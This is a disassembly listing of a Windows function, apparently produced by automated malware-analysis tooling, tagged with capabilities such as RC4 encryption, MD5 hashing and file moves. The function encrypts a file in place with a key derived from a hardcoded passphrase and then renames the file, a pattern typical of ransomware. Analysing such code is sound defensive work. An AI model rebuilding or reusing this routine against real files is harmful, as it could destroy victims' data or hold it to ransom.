Function at 0x401000
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x210]
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0x208
push 0
push eax
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x234], esi
mov byte [ebp - 0x225], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x230], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
test ebx, ebx
je 0x4015ed
test esi, esi
je 0x4015ed
push 0
push 0x80
push 3
push 0
push 3
push 0x12019f
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x22c], eax
cmp eax, 0xffffffff
jne 0x401114
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov esi, eax
push 0x404198
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_opening_source_plaintext_file__n
push 0x4041e0
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
push esi
push str.Error_number__x._n
push 2
call edi
add esp, 4
push eax
call fcn.00401640
mov eax, dword [ebp - 0x22c]
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
jmp 0x40142b
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 0x21c]
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
push eax
call ebx
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x401182
call esi
cmp eax, 0x80090016
jne 0x40115f
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 0x21c]
push eax
call ebx
test eax, eax
jne 0x401182
call esi
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_during_CryptAcquireContext__n
jmp 0x4013df
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 0x21c]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x4011c5
call esi
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_during_CryptCreateHash__n
jmp 0x4013df
push 0
push str.3igcZhRdWq96m3GUmTAiv9Aw3s0m3Sc0t7
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push str.3igcZhRdWq96m3GUmTAiv9Aw3s0m3Sc0t7
push dword [ebp - 0x218]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x40120b
call esi
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_during_CryptHashData.__n
jmp 0x4013df
lea eax, [ebp - 0x220]
push eax
push 0x800000
push dword [ebp - 0x218]
push 0x6801
push dword [ebp - 0x21c]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x401255
call esi
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_during_CryptDeriveKey__n
jmp 0x4013df
push 0x3f0
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x230], eax
test eax, eax
jne 0x4012a6
push 0x404198
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Out_of_memory.__n
push 0x4041e0
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
push 0x8007000e
jmp 0x4013f5
xor bl, bl
nop dword [eax + eax]
push 0
lea ecx, [ebp - 0x214]
push ecx
push 0x3e8
push eax
push dword [ebp - 0x22c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4013c1
mov eax, dword [ebp - 0x214]
mov ecx, 1
cmp eax, 0x3e8
movzx ebx, bl
cmovb ebx, ecx
test eax, eax
je 0x4013b8
push 0x3f0
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x230]
movzx eax, bl
push 0
push eax
push 0
push dword [ebp - 0x220]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x401398
push 0
push 0
push 1
push 0
push 0
push dword [ebp - 0x22c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub eax, dword [ebp - 0x214]
push eax
push dword [ebp - 0x22c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x214]
push dword [ebp - 0x230]
push dword [ebp - 0x22c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401378
test bl, bl
jne 0x4013b8
mov eax, dword [ebp - 0x230]
jmp 0x4012b0
call esi
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_writing_ciphertext._n
jmp 0x4013df
call esi
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_during_CryptEncrypt.__n
jmp 0x4013df
mov byte [ebp - 0x225], 1
jmp 0x40140a
call esi
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_reading_plaintext__n
push 0x4041e0
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
push esi
push str.Error_number__x._n
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
mov eax, dword [ebp - 0x22c]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x401425
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
jmp 0x40142b
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
call esi
mov eax, dword [ebp - 0x230]
test eax, eax
je 0x401443
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x4014ab
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
test eax, eax
jne 0x4014a1
call ebx
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_during_CryptDestroyHash._n
push 0x4041e0
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
push esi
push str.Error_number__x._n
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
mov dword [ebp - 0x218], 0
mov eax, dword [ebp - 0x220]
test eax, eax
je 0x401509
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
test eax, eax
jne 0x401509
call ebx
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_during_CryptDestroyKey__n
push 0x4041e0
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
push esi
push str.Error_number__x._n
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
mov eax, dword [ebp - 0x21c]
test eax, eax
je 0x401569
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test eax, eax
jne 0x401569
call ebx
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_during_CryptReleaseContext__n
push 0x4041e0
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
push esi
push str.Error_number__x._n
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
cmp byte [ebp - 0x225], 0
je 0x4015d4
push dword [ebp - 0x234]
push dword [ebp - 0x238]
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wrename]
add esp, 8
test eax, eax
je 0x4015d4
call ebx
push 0x404198
push 2
mov esi, eax
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 8
push str.Error_during_rename__n
push 0x4041e0
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
push esi
push str.Error_number__x._n
push 2
call edi
add esp, 4
push eax
call fcn.00401640
add esp, 0xc
mov al, byte [ebp - 0x225]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402831
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402831
mov esp, ebp
pop ebp
ret 0x10